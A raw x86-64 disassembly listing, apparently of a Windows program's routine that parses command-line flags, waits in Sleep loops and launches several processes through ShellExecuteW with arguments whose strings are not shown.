    0045212bcall fn_40dc90
    00452130test eax, eax
    00452132jne 0x45214e
    00452134mov rax, [rip+0x11e85]
    0045213bmov [rax+301], 1
    00452142add [rip+0x1e663], 1
    00452149jmp 0x4524d7
    0045214e
    0045214eloc_45214e:
    0045214elea rcx, [rbp+296]
    00452155mov edx, [rip+0x1e651]
    0045215bcall fn_405df0
    00452160mov rcx, [rbp+296]
    00452167lea rdx, [rip+5286]
    0045216ecall fn_40dc90
    00452173test eax, eax
    00452175jne 0x452191
    00452177mov rax, [rip+0x11e42]
    0045217emov [rax+303], 1
    00452185add [rip+0x1e620], 1
    0045218cjmp 0x4524d7
    00452191
    00452191loc_452191:
    00452191lea rcx, [rbp+288]
    00452198mov edx, [rip+0x1e60e]
    0045219ecall fn_405df0
    004521a3mov rcx, [rbp+288]
    004521aalea rdx, [rip+5239]
    004521b1call fn_40dc90
    004521b6test eax, eax
    004521b8jne 0x4521e2
    004521bamov rax, [rip+0x11dff]
    004521c1mov [rax+305], 1
    004521c8mov rax, [rip+0x11df1]
    004521cfmov [rax+306], 0
    004521d6add [rip+0x1e5cf], 1
    004521ddjmp 0x4524d7
    004521e2
    004521e2loc_4521e2:
    004521e2lea rcx, [rbp+280]
    004521e9mov edx, [rip+0x1e5bd]
    004521efcall fn_405df0
    004521f4mov rcx, [rbp+280]
    004521fblea rdx, [rip+5182]
    00452202call fn_40dc90
    00452207test eax, eax
    00452209jne 0x452233
    0045220bmov rax, [rip+0x11dae]
    00452212mov [rax+305], 0
    00452219mov rax, [rip+0x11da0]
    00452220mov [rax+306], 1
    00452227add [rip+0x1e57e], 1
    0045222ejmp 0x4524d7
    00452233
    00452233loc_452233:
    00452233lea rcx, [rbp+272]
    0045223amov edx, [rip+0x1e56c]
    00452240call fn_405df0
    00452245mov rcx, [rbp+272]
    0045224clea rdx, [rip+5125]
    00452253call fn_40dc90
    00452258test eax, eax
    0045225ajne 0x452276
    0045225cmov rax, [rip+0x11d5d]
    00452263mov [rax+307], 1
    0045226aadd [rip+0x1e53b], 1
    00452271jmp 0x4524d7
    00452276
    00452276loc_452276:
    00452276lea rcx, [rbp+264]
    0045227dmov edx, [rip+0x1e529]
    00452283call fn_405df0
    00452288mov rcx, [rbp+264]
    0045228flea rdx, [rip+5086]
    00452296call fn_40dc90
    0045229btest eax, eax
    0045229djne 0x4522b9
    0045229fmov rax, [rip+0x11d1a]
    004522a6mov [rax+320], 1
    004522adadd [rip+0x1e4f8], 1
    004522b4jmp 0x4524d7
    004522b9
    004522b9loc_4522b9:
    004522b9lea rcx, [rbp+256]
    004522c0mov edx, [rip+0x1e4e6]
    004522c6call fn_405df0
    004522cbmov rcx, [rbp+256]
    004522d2lea rdx, [rip+5055]
    004522d9call fn_40dc90
    004522detest eax, eax
    004522e0jne 0x452343
    004522e2mov rax, [rip+0x11cd7]
    004522e9cmp [rax+320], 0
    004522f0je 0x452337
    004522f2lea rcx, [rbp+248]
    004522f9mov edx, [rip+0x1e4ad]
    004522ffadd edx, 1
    00452302call fn_405df0
    00452307lea rcx, [rbp+240]
    0045230emov rdx, [rbp+248]
    00452315xor r8, r8
    00452318call fn_40cff0
    0045231dmov rcx, [rbp+240]
    00452324mov rax, [rip+0x11c95]
    0045232blea rdx, [rax+128]
    00452332call fn_430db0
    00452337
    00452337loc_452337:
    00452337add [rip+0x1e46e], 2
    0045233ejmp 0x4524d7
    00452343
    00452343loc_452343:
    00452343lea rcx, [rbp+232]
    0045234amov edx, [rip+0x1e45c]
    00452350call fn_405df0
    00452355mov rcx, [rbp+232]
    0045235clea rdx, [rip+4949]
    00452363call fn_40dc90
    00452368test eax, eax
    0045236ajne 0x4523ca
    0045236cmov rax, [rip+0x11c4d]
    00452373cmp [rax+320], 0
    0045237aje 0x4523be
    0045237clea rcx, [rbp+224]
    00452383mov edx, [rip+0x1e423]
    00452389add edx, 1
    0045238ccall fn_405df0
    00452391lea rcx, [rbp+216]
    00452398mov rdx, [rbp+224]
    0045239fxor r8, r8
    004523a2call fn_40cff0
    004523a7mov rcx, [rbp+216]
    004523aemov rax, [rip+0x11c0b]
    004523b5lea rdx, [rax+40]
    004523b9call fn_430db0
    004523be
    004523beloc_4523be:
    004523beadd [rip+0x1e3e7], 2
    004523c5jmp 0x4524d7
    004523ca
    004523caloc_4523ca:
    004523calea rcx, [rbp+208]
    004523d1mov edx, [rip+0x1e3d5]
    004523d7call fn_405df0
    004523dcmov rcx, [rbp+208]
    004523e3lea rdx, [rip+4846]
    004523eacall fn_40dc90
    004523eftest eax, eax
    004523f1je 0x45241c
    004523f3lea rcx, [rbp+200]
    004523famov edx, [rip+0x1e3ac]
    00452400call fn_405df0
    00452405mov rcx, [rbp+200]
    0045240clea rdx, [rip+4825]
    00452413call fn_40dc90
    00452418test eax, eax
    0045241ajne 0x452450
    0045241c
    0045241cloc_45241c:
    0045241clea rcx, [rbp+192]
    00452423mov edx, [rip+0x1e383]
    00452429add edx, 1
    0045242ccall fn_405df0
    00452431mov rcx, [rip+0x11a70]
    00452438mov rdx, [rbp+192]
    0045243fcall fn_40d850
    00452444add [rip+0x1e361], 2
    0045244bjmp 0x4524d7
    00452450
    00452450loc_452450:
    00452450lea rcx, [rbp+184]
    00452457mov edx, [rip+0x1e34f]
    0045245dcall fn_405df0
    00452462mov rcx, [rbp+184]
    00452469lea rdx, [rip+4756]
    00452470call fn_40dc90
    00452475test eax, eax
    00452477jne 0x452490
    00452479mov rax, [rip+0x11b40]
    00452480mov [rax+299], 1
    00452487add [rip+0x1e31e], 1
    0045248ejmp 0x4524d7
    00452490
    00452490loc_452490:
    00452490lea rcx, [rbp+176]
    00452497mov edx, [rip+0x1e30f]
    0045249dcall fn_405df0
    004524a2mov rcx, [rbp+176]
    004524a9lea rdx, [rip+4720]
    004524b0call fn_40dc90
    004524b5test eax, eax
    004524b7jne 0x4524d0
    004524b9mov rax, [rip+0x11b00]
    004524c0mov [rax+300], 1
    004524c7add [rip+0x1e2de], 1
    004524cejmp 0x4524d7
    004524d0
    004524d0loc_4524d0:
    004524d0add [rip+0x1e2d5], 1
    004524d7
    004524d7loc_4524d7:
    004524d7call fn_405d70
    004524dccmp [rip+0x1e2ca], eax
    004524e2jle 0x451ad7
    004524e8mov rax, [rip+0x11ad1]
    004524efcmp [rax+321], 0
    004524f6je 0x452517
    004524f8mov rax, [rip+0x119a9]
    004524ffmov rcx, [rax]
    00452502xor edx, edx
    00452504call fn_40d640
    00452509test eax, eax
    0045250bjne 0x452517
    0045250dcall fn_451420
    00452512jmp 0x4530dc
    00452517
    00452517loc_452517:
    00452517mov rax, [rip+0x11aa2]
    0045251ecmp [rax+308], 0
    00452525je 0x45256e
    00452527mov rax, [rip+0x1197a]
    0045252emov rcx, [rax]
    00452531xor edx, edx
    00452533call fn_40d640
    00452538test eax, eax
    0045253ajne 0x45256e
    0045253clea rcx, [rip+4597]
    00452543xor edx, edx
    00452545call fn_439060
    0045254alea rcx, [rip+4743]
    00452551xor edx, edx
    00452553call fn_439060
    00452558mov rcx, [rip+0x11b51]
    0045255fcall fn_4078c0
    00452564call fn_405a40
    00452569jmp 0x4530dc
    0045256e
    0045256eloc_45256e:
    0045256emov rax, [rip+0x11a4b]
    00452575lea rcx, [rax+64]
    00452579call fn_448720
    0045257emov rax, [rip+0x11a3b]
    00452585lea rcx, [rax+64]
    00452589call fn_447be0
    0045258emov rax, [rip+0x11a2b]
    00452595lea rcx, [rax+64]
    00452599call fn_447fa0
    0045259emov rax, [rip+0x11a1b]
    004525a5mov eax, [rax+144]
    004525abtest eax, eax
    004525adje 0x45261e
    004525afmov rcx, [rip+0x11a0a]
    004525b6cmp [rcx+308], 0
    004525bdje 0x452606
    004525bflea rcx, [rbp+160]
    004525c6mov edx, eax
    004525c8call fn_4225b0
    004525cdlea rcx, [rbp+168]
    004525d4mov edx, 3
    004525d9lea r8, [rip+4668]
    004525e0mov r9, [rbp+160]
    004525e7lea rax, [rip+4682]
    004525eemov [rsp+32], rax
    004525f3call fn_40dbb0
    004525f8mov rcx, [rbp+168]
    004525ffmov dl, 1
    00452601call fn_439060
    00452606
    00452606loc_452606:
    00452606mov rax, [rip+0x119b3]
    0045260dmov ecx, [rax+144]
    00452613imul ecx, ecx, 1000
    00452619call Sleep
    0045261e
    0045261eloc_45261e:
    0045261emov rax, [rip+0x1199b]
    00452625cmp [rax+308], 0
    0045262cje 0x452643
    0045262elea rcx, [rip+4671]
    00452635mov dl, 1
    00452637call fn_439060
    0045263cxor ecx, ecx
    0045263ecall fn_4392a0
    00452643
    00452643loc_452643:
    00452643mov rax, [rip+0x11976]
    0045264amov rax, [rax+128]
    00452651test rax, rax
    00452654je 0x45265a
    00452656mov rax, [rax-8]
    0045265a
    0045265aloc_45265a:
    0045265atest rax, rax
    0045265djne 0x452672
    0045265fmov rax, [rip+0x1195a]
    00452666lea rcx, [rax+128]
    0045266dcall fn_432d90
    00452672
    00452672loc_452672:
    00452672mov rax, [rip+0x1182f]
    00452679mov rcx, [rax]
    0045267cxor edx, edx
    0045267ecall fn_40d640
    00452683test eax, eax
    00452685jne 0x4526c3
    00452687lea rcx, [rbp+152]
    0045268emov rax, [rip+0x1192b]
    00452695lea rdx, [rax+128]
    0045269ccall fn_430d40
    004526a1mov rax, [rip+0x11918]
    004526a8lea rcx, [rax+288]
    004526afmov rdx, [rbp+152]
    004526b6call fn_430bc0
    004526bbtest al, al
    004526bdjne 0x4530dc
    004526c3
    004526c3loc_4526c3:
    004526c3mov rax, [rip+0x118f6]
    004526cacmp [rax+308], 0
    004526d1je 0x4526e1
    004526d3lea rcx, [rip+4554]
    004526damov dl, 1
    004526dccall fn_439060
    004526e1
    004526e1loc_4526e1:
    004526e1call fn_44e2d0
    004526e6mov rax, [rip+0x118d3]
    004526edcmp [rax+308], 0
    004526f4je 0x452714
    004526f6xor ecx, ecx
    004526f8mov dl, 1
    004526facall fn_439060
    004526fflea rcx, [rip+4566]
    00452706mov dl, 1
    00452708call fn_439060
    0045270dxor ecx, ecx
    0045270fcall fn_4392a0
    00452714
    00452714loc_452714:
    00452714mov rax, [rip+0x118a5]
    0045271bcmp [rax+307], 0
    00452722jne 0x452729
    00452724call fn_440470
    00452729
    00452729loc_452729:
    00452729mov rax, [rip+0x11890]
    00452730cmp [rax+308], 0
    00452737je 0x45274e
    00452739lea rcx, [rip+4600]
    00452740mov dl, 1
    00452742call fn_439060
    00452747xor ecx, ecx
    00452749call fn_4392a0
    0045274e
    0045274eloc_45274e:
    0045274emov rax, [rip+0x1186b]
    00452755cmp [rax+307], 0
    0045275cjne 0x452763
    0045275ecall fn_43ae60
    00452763
    00452763loc_452763:
    00452763mov rax, [rip+0x11856]
    0045276acmp [rax+307], 0
    00452771je 0x452778
    00452773call fn_4486b0
    00452778
    00452778loc_452778:
    00452778mov rax, [rip+0x11841]
    0045277fmov rax, [rax+72]
    00452783cmp [rax+16], 0
    00452787je 0x4527c1
    00452789jmp 0x452795
    0045278b
    0045278bloc_45278b:
    0045278bmov ecx, 10000
    00452790call Sleep
    00452795
    00452795loc_452795:
    00452795xor ecx, ecx
    00452797xor edx, edx
    00452799lea r8, [rip-9232]
    004527a0xor r9, r9
    004527a3mov [rsp+32], 0
    004527abmov rax, [rip+0x11766]
    004527b2mov [rsp+40], rax
    004527b7call fn_40bb20
    004527bctest rax, rax
    004527bfje 0x45278b
    004527c1
    004527c1loc_4527c1:
    004527c1call fn_450980
    004527c6mov rax, [rip+0x116db]
    004527cdmov rcx, [rax]
    004527d0xor edx, edx
    004527d2call fn_40d640
    004527d7test eax, eax
    004527d9je 0x452c07
    004527dfmov rax, [rip+0x117da]
    004527e6mov [rax+317], 0
    004527edmov rax, [rip+0x116b4]
    004527f4mov rcx, [rax]
    004527f7call fn_42fe80
    004527fctest al, al
    004527feje 0x452872
    00452800mov rax, [rip+0x117b9]
    00452807cmp [rax+308], 0
    0045280eje 0x45285e
    00452810xor ecx, ecx
    00452812mov dl, 1
    00452814call fn_439060
    00452819lea rcx, [rbp+144]
    00452820lea rdx, [rip+4413]
    00452827mov rax, [rip+0x1167a]
    0045282emov r8, [rax]
    00452831call fn_40d230
    00452836lea rcx, [rbp+136]
    0045283dmov rdx, [rbp+144]
    00452844call fn_40d820
    00452849mov rcx, [rbp+136]
    00452850mov dl, 1
    00452852call fn_439060
    00452857xor ecx, ecx
    00452859call fn_4392a0
    0045285e
    0045285eloc_45285e:
    0045285emov rax, [rip+0x11643]
    00452865mov rcx, [rax]
    00452868call fn_44e970
    0045286djmp 0x4529e7
    00452872
    00452872loc_452872:
    00452872mov rax, [rip+0x11747]
    00452879cmp [rax+307], 0
    00452880jne 0x4528d6
    00452882mov rax, [rip+0x11737]
    00452889cmp [rax+308], 0
    00452890jne 0x4528d6
    00452892jmp 0x45289e
    00452894
    00452894loc_452894:
    00452894mov ecx, 10000
    00452899call Sleep
    0045289e
    0045289eloc_45289e:
    0045289exor ecx, ecx
    004528a0xor edx, edx
    004528a2lea r8, [rip-14505]
    004528a9xor r9, r9
    004528acmov [rsp+32], 0
    004528b4mov rax, [rip+0x1165d]
    004528bbmov [rsp+40], rax
    004528c0call fn_40bb20
    004528c5test rax, rax
    004528c8je 0x452894
    004528camov ecx, 5000
    004528cfcall Sleep
    004528d4jmp 0x4528e4
    004528d6
    004528d6loc_4528d6:
    004528d6mov rax, [rip+0x116e3]
    004528ddmov [rax+317], 1
    004528e4
    004528e4loc_4528e4:
    004528e4mov rax, [rip+0x116d5]
    004528ebcmp [rax+308], 0
    004528f2je 0x45293c
    004528f4xor ecx, ecx
    004528f6mov dl, 1
    004528f8call fn_439060
    004528fdlea rcx, [rbp+128]
    00452904lea rdx, [rip+4233]
    0045290bmov rax, [rip+0x11596]
    00452912mov r8, [rax]
    00452915call fn_40d230
    0045291alea rcx, [rbp+120]
    0045291emov rdx, [rbp+128]
    00452925call fn_40d820
    0045292amov rcx, [rbp+120]
    0045292emov dl, 1
    00452930call fn_439060
    00452935xor ecx, ecx
    00452937call fn_4392a0
    0045293c
    0045293cloc_45293c:
    0045293cmov rax, [rip+0x11565]
    00452943mov rcx, [rax]
    00452946call fn_44ec90
    0045294bjmp 0x452957
    0045294d
    0045294dloc_45294d:
    0045294dmov ecx, 1000
    00452952call Sleep
    00452957
    00452957loc_452957:
    00452957mov rax, [rip+0x11662]
    0045295ecmp [rax+317], 0
    00452965je 0x45294d
    00452967mov rax, [rip+0x11652]
    0045296ecmp [rax+308], 0
    00452975je 0x452995
    00452977xor ecx, ecx
    00452979mov dl, 1
    0045297bcall fn_439060
    00452980lea rcx, [rip+4169]
    00452987mov dl, 1
    00452989call fn_439060
    0045298exor ecx, ecx
    00452990call fn_4392a0
    00452995
    00452995loc_452995:
    00452995call fn_439260
    0045299amov rax, [rip+0x1161f]
    004529a1cmp [rax+308], 0
    004529a8je 0x4529e7
    004529aamov rax, [rip+0x11627]
    004529b1cmp [rax+768], 0
    004529b8je 0x4529e7
    004529balea rcx, [rip+4167]
    004529c1xor edx, edx
    004529c3call fn_439060
    004529c8lea rcx, [rip+3593]
    004529cfxor edx, edx
    004529d1call fn_439060
    004529d6mov rcx, [rip+0x116d3]
    004529ddcall fn_4078c0
    004529e2call fn_405a40
    004529e7
    004529e7loc_4529e7:
    004529e7mov rax, [rip+0x115d2]
    004529eecmp [rax+312], 0
    004529f5je 0x452b31
    004529fbmov rax, [rip+0x115be]
    00452a02cmp [rax+308], 0
    00452a09je 0x452a19
    00452a0blea rcx, [rip+4130]
    00452a12xor edx, edx
    00452a14call fn_439060
    00452a19
    00452a19loc_452a19:
    00452a19xor ecx, ecx
    00452a1blea rdx, [rip+4154]
    00452a22lea r8, [rip+4157]
    00452a29lea r9, [rip+4158]
    00452a30mov [rsp+32], 0
    00452a39mov [rsp+40], 0
    00452a41call ShellExecuteW
    00452a46xor ecx, ecx
    00452a48lea rdx, [rip+4109]
    00452a4flea r8, [rip+4112]
    00452a56lea r9, [rip+4195]
    00452a5dmov [rsp+32], 0
    00452a66mov [rsp+40], 0
    00452a6ecall ShellExecuteW
    00452a73xor ecx, ecx
    00452a75lea rdx, [rip+4064]
    00452a7clea r8, [rip+4067]
    00452a83lea r9, [rip+4258]
    00452a8amov [rsp+32], 0
    00452a93mov [rsp+40], 0
    00452a9bcall ShellExecuteW
    00452aa0xor ecx, ecx
    00452aa2lea rdx, [rip+4019]
    00452aa9lea r8, [rip+4022]
    00452ab0lea r9, [rip+4299]
    00452ab7mov [rsp+32], 0
    00452ac0mov [rsp+40], 0
    00452ac8call ShellExecuteW
    00452acdxor ecx, ecx
    00452acflea rdx, [rip+3974]
    00452ad6lea r8, [rip+3977]
    00452addlea r9, [rip+4310]
    00452ae4mov [rsp+32], 0
    00452aedmov [rsp+40], 0
    00452af5call ShellExecuteW
    00452afaxor ecx, ecx
    00452afclea rdx, [rip+3929]
    00452b03lea r8, [rip+3932]
    00452b0alea r9, [rip+4359]
    00452b11mov [rsp+32], 0
    00452b1amov [rsp+40], 0
    00452b22call ShellExecuteW
    00452b27mov ecx, 20000
    00452b2ccall Sleep
    00452b31
    00452b31loc_452b31:
    00452b31mov rax, [rip+0x11488]
    00452b38cmp [rax+311], 0
    00452b3fje 0x452b46
    00452b41call fn_44fa30
    00452b46
    00452b46loc_452b46:
    00452b46mov rax, [rip+0x11473]
    00452b4dcmp [rax+301], 0
    00452b54je 0x452b86
    00452b56xor ecx, ecx
    00452b58lea rdx, [rip+3837]
    00452b5flea r8, [rip+4400]
    00452b66lea r9, [rip+4411]
    00452b6dlea rax, [rip+4430]
    00452b74mov [rsp+32], rax
    00452b79mov [rsp+40], 0
    00452b81call ShellExecuteW
    00452b86
    00452b86loc_452b86:
    00452b86mov rax, [rip+0x11433]
    00452b8dcmp [rax+302], 0
    00452b94je 0x452bf8
    00452b96lea rcx, [rbp+104]
    00452b9axor edx, edx
    00452b9ccall fn_405df0
    00452ba1lea rcx, [rbp+112]
    00452ba5mov edx, 3
    00452baalea r8, [rip+4399]
    00452bb1mov r9, [rbp+104]
    00452bb5lea rax, [rip+4464]
    00452bbcmov [rsp+32], rax
    00452bc1call fn_40dbb0
    00452bc6mov rcx, [rbp+112]
    00452bcacall fn_40d710
    00452bcfxor ecx, ecx
    00452bd1lea rdx, [rip+3716]
    00452bd8lea r8, [rip+4325]
    00452bdfmov r9, rax
    00452be2mov [rsp+32], 0
    00452bebmov [rsp+40], 0
    00452bf3call ShellExecuteW
    00452bf8
    00452bf8loc_452bf8:
    00452bf8mov rax, [rip+0x11419]
    00452bffmov [rax], 0
    00452c02jmp 0x4530dc
    00452c07
    00452c07loc_452c07:
    00452c07mov rax, [rip+0x113b2]
    00452c0ecmp [rax+307], 0
    00452c15je 0x452c9c
    00452c1bmov rax, [rip+0x1139e]
    00452c22cmp [rax+302], 0
    00452c29je 0x452c8d
    00452c2blea rcx, [rbp+88]
    00452c2fxor edx, edx
    00452c31call fn_405df0
    00452c36lea rcx, [rbp+96]
    00452c3amov edx, 3
    00452c3flea r8, [rip+4250]
    00452c46mov r9, [rbp+88]
    00452c4alea rax, [rip+4315]
    00452c51mov [rsp+32], rax
    00452c56call fn_40dbb0
    00452c5bmov rcx, [rbp+96]
    00452c5fcall fn_40d710
    00452c64xor ecx, ecx
    00452c66lea rdx, [rip+3567]
    00452c6dlea r8, [rip+4176]
    00452c74mov r9, rax
    00452c77mov [rsp+32], 0
    00452c80mov [rsp+40], 0
    00452c88call ShellExecuteW
    00452c8d
    00452c8dloc_452c8d:
    00452c8dmov rax, [rip+0x11384]
    00452c94mov [rax], 0
    00452c97jmp 0x4530dc
    00452c9c
    00452c9cloc_452c9c:
    00452c9cmov rax, [rip+0x1131d]
    00452ca3cmp [rax+299], 0
    00452caaje 0x452cc6
    00452cacmov rax, [rip+0x1130d]
    00452cb3mov [rax+317], 1
    00452cbajmp 0x452cf2
    00452cbc
    00452cbcloc_452cbc:
    00452cbcmov ecx, 10000
    00452cc1call Sleep
    00452cc6
    00452cc6loc_452cc6:
    00452cc6xor ecx, ecx
    00452cc8xor edx, edx
    00452ccalea r8, [rip-27073]
    00452cd1xor r9, r9
    00452cd4mov [rsp+32], 0
    00452cdcmov rax, [rip+0x11235]
    00452ce3mov [rsp+40], rax
    00452ce8call fn_40bb20
    00452cedtest rax, rax
    00452cf0je 0x452cbc
    00452cf2
    00452cf2loc_452cf2:
    00452cf2mov ecx, 5000
    00452cf7call Sleep
    00452cfcmov rax, [rip+0x112bd]
    00452d03cmp [rax+299], 0
    00452d0aje 0x452d26
    00452d0cmov rax, [rip+0x112ad]
    00452d13mov [rax+315], 1
    00452d1ajmp 0x452d52
    00452d1c
    00452d1cloc_452d1c:
    00452d1cmov ecx, 10000
    00452d21call Sleep
    00452d26
    00452d26loc_452d26:
    00452d26xor ecx, ecx
    00452d28xor edx, edx
    00452d2alea r8, [rip-28177]
    00452d31xor r9, r9
    00452d34mov [rsp+32], 0
    00452d3cmov rax, [rip+0x111d5]
    00452d43mov [rsp+40], rax
    00452d48call fn_40bb20
    00452d4dtest rax, rax
    00452d50je 0x452d1c
    00452d52
    00452d52loc_452d52:
    00452d52mov rax, [rip+0x11267]
    00452d59cmp [rax+300], 0
    00452d60je 0x452d7c
    00452d62mov rax, [rip+0x11257]
    00452d69mov [rax+319], 1
    00452d70jmp 0x452db4
    00452d72
    00452d72loc_452d72:
    00452d72mov ecx, 10000
    00452d77call Sleep
    00452d7c
    00452d7cloc_452d7c:
    00452d7cxor ecx, ecx
    00452d7exor edx, edx
    00452d80lea r8, [rip-17575]
    00452d87xor r9, r9
    00452d8amov [rsp+32], 0
    00452d92mov rax, [rip+0x1117f]
    00452d99mov [rsp+40], rax
    00452d9ecall fn_40bb20
    00452da3test rax, rax
    00452da6je 0x452d72
    00452da8jmp 0x452db4
    00452daa
    00452daaloc_452daa:
    00452daamov ecx, 10000
    00452dafcall Sleep
    00452db4
    00452db4loc_452db4:
    00452db4mov rax, [rip+0x11205]
    00452dbbcmp [rax+319], 0
    00452dc2je 0x452daa
    00452dc4mov rax, [rip+0x111f5]
    00452dcbcmp [rax+300], 0
    00452dd2je 0x452dee
    00452dd4mov rax, [rip+0x111e5]
    00452ddbmov [rax+318], 1
    00452de2jmp 0x452e1a
    00452de4
    00452de4loc_452de4:
    00452de4mov ecx, 10000
    00452de9call Sleep
    00452dee
    00452deeloc_452dee:
    00452deexor ecx, ecx
    00452df0xor edx, edx
    00452df2lea r8, [rip-18041]
    00452df9xor r9, r9
    00452dfcmov [rsp+32], 0
    00452e04mov rax, [rip+0x1110d]
    00452e0bmov [rsp+40], rax
    00452e10call fn_40bb20
    00452e15test rax, rax
    00452e18je 0x452de4
    00452e1a
    00452e1aloc_452e1a:
    00452e1amov ecx, 5000
    00452e1fcall Sleep
    00452e24mov rax, [rip+0x11195]
    00452e2bcmp [rax+300], 0
    00452e32je 0x452e4e
    00452e34mov rax, [rip+0x11185]
    00452e3bmov [rax+316], 1
    00452e42jmp 0x452e86
    00452e44
    00452e44loc_452e44:
    00452e44mov ecx, 10000
    00452e49call Sleep
    00452e4e
    00452e4eloc_452e4e:
    00452e4exor ecx, ecx
    00452e50xor edx, edx
    00452e52lea r8, [rip-18905]
    00452e59xor r9, r9
    00452e5cmov [rsp+32], 0
    00452e64mov rax, [rip+0x110ad]
    00452e6bmov [rsp+40], rax
    00452e70call fn_40bb20
    00452e75test rax, rax
    00452e78je 0x452e44
    00452e7ajmp 0x452e86
    00452e7c
    00452e7cloc_452e7c:
    00452e7cmov ecx, 1000
    00452e81call Sleep
    00452e86
    00452e86loc_452e86:
    00452e86mov rax, [rip+0x11133]
    00452e8dcmp [rax+315], 0
    00452e94je 0x452e7c
    00452e96mov rax, [rip+0x11123]
    00452e9dcmp [rax+316], 0
    00452ea4je 0x452e7c
    00452ea6mov rax, [rip+0x11113]
    00452eadcmp [rax+317], 0
    00452eb4je 0x452e7c
    00452eb6mov rax, [rip+0x11103]
    00452ebdcmp [rax+318], 0
    00452ec4je 0x452e7c
    00452ec6call fn_439b10
    00452ecbmov rax, [rip+0x110ee]
    00452ed2cmp [rax+312], 0
    00452ed9je 0x452ff7
    00452edfxor ecx, ecx
    00452ee1lea rdx, [rip+2932]
    00452ee8lea r8, [rip+2935]
    00452eeflea r9, [rip+3268]
    00452ef6mov [rsp+32], 0
    00452effmov [rsp+40], 0
    00452f07call ShellExecuteW
    00452f0cxor ecx, ecx
    00452f0elea rdx, [rip+2887]
    00452f15lea r8, [rip+2890]
    00452f1clea r9, [rip+3317]
    00452f23mov [rsp+32], 0
    00452f2cmov [rsp+40], 0
    00452f34call ShellExecuteW
    00452f39xor ecx, ecx
    00452f3blea rdx, [rip+2842]
    00452f42lea r8, [rip+2845]
    00452f49lea r9, [rip+3036]
    00452f50mov [rsp+32], 0
    00452f59mov [rsp+40], 0
    00452f61call ShellExecuteW
    00452f66xor ecx, ecx
    00452f68lea rdx, [rip+2797]
    00452f6flea r8, [rip+2800]
    00452f76lea r9, [rip+2883]
    00452f7dmov [rsp+32], 0
    00452f86mov [rsp+40], 0
    00452f8ecall ShellExecuteW
    00452f93xor ecx, ecx
    00452f95lea rdx, [rip+2752]
    00452f9clea r8, [rip+2755]
    00452fa3lea r9, [rip+3032]
    00452faamov [rsp+32], 0
    00452fb3mov [rsp+40], 0
    00452fbbcall ShellExecuteW
    00452fc0xor ecx, ecx
    00452fc2lea rdx, [rip+2707]
    00452fc9lea r8, [rip+2710]
    00452fd0lea r9, [rip+2711]
    00452fd7mov [rsp+32], 0
    00452fe0mov [rsp+40], 0
    00452fe8call ShellExecuteW
    00452fedmov ecx, 20000
    00452ff2call Sleep
    00452ff7
    00452ff7loc_452ff7:
    00452ff7mov rax, [rip+0x10fc2]
    00452ffecmp [rax+311], 0
    00453005je 0x45300c
    00453007call fn_44fa30
    0045300c
    0045300cloc_45300c:
    0045300cmov rax, [rip+0x10fad]
    00453013mov rcx, [rax+288]
    0045301acall CloseHandle
    0045301fmov rax, [rip+0x10f9a]
    00453026cmp [rax+301], 0
    0045302dje 0x45305f
    0045302fxor ecx, ecx
    00453031lea rdx, [rip+2596]
    00453038lea r8, [rip+3159]
    0045303flea r9, [rip+3170]
    00453046lea rax, [rip+3189]
    0045304dmov [rsp+32], rax
    00453052mov [rsp+40], 0
    0045305acall ShellExecuteW
    0045305f
    0045305floc_45305f:
    0045305fmov rax, [rip+0x10f5a]
    00453066cmp [rax+302], 0
    0045306dje 0x4530d1
    0045306flea rcx, [rbp+72]
    00453073xor edx, edx
    00453075call fn_405df0
    0045307alea rcx, [rbp+80]
    0045307emov edx, 3
    00453083lea r8, [rip+3158]
    0045308amov r9, [rbp+72]
    0045308elea rax, [rip+3223]
    00453095mov [rsp+32], rax
    0045309acall fn_40dbb0
    0045309fmov rcx, [rbp+80]
    004530a3call fn_40d710
    004530a8xor ecx, ecx
    004530aalea rdx, [rip+2475]
    004530b1lea r8, [rip+3084]
    004530b8mov r9, rax
    004530bbmov [rsp+32], 0
    004530c4mov [rsp+40], 0
    004530cccall ShellExecuteW
    004530d1
    004530d1loc_4530d1:
    004530d1mov rax, [rip+0x10f40]
    004530d8mov [rax], 0
    004530dbnop
    004530dc
    004530dcloc_4530dc:
    004530dclea rcx, [rbp+72]
    004530e0mov edx, 7
    004530e5call fn_40bdd0
    004530ealea rcx, [rbp+128]
    004530f1call fn_40bd90
    004530f6lea rcx, [rbp+136]
    004530fdcall fn_40bcf0
    00453102lea rcx, [rbp+144]
    00453109call fn_40bd90
    0045310elea rcx, [rbp+152]
    00453115call fn_40bd40
    0045311alea rcx, [rbp+160]
    00453121mov edx, 7
    00453126call fn_40bdd0
    0045312blea rcx, [rbp+216]
    00453132call fn_40bd40
    00453137lea rcx, [rbp+224]
    0045313emov edx, 2
    00453143call fn_40bdd0
    00453148lea rcx, [rbp+240]
    0045314fcall fn_40bd40
    00453154lea rcx, [rbp+248]
    0045315bmov edx, 12
    00453160call fn_40bdd0
    00453165lea rcx, [rbp+344]
    0045316ccall fn_40bd40
    00453171lea rcx, [rbp+352]
    00453178mov edx, 6
    0045317dcall fn_40bdd0
    00453182lea rcx, [rbp+400]
    00453189call fn_40bd90
    0045318elea rcx, [rbp+408]
    00453195call fn_40bcf0
    0045319alea rcx, [rbp+416]
    004531a1call fn_40bd40
    004531a6lea rcx, [rbp+424]
    004531admov edx, 21
    004531b2call fn_40bdd0
    004531b7call fn_40b880
    004531bcjmp 0x4531c6
    004531be
    004531be 90 90 ..
    004531c0 e8 9b 88 fb ff 90 ......
    004531c6
    004531c6loc_4531c6:
    004531c6lea rsp, [rbp+592]
    004531cdpop rbp
    004531ceret
    00451580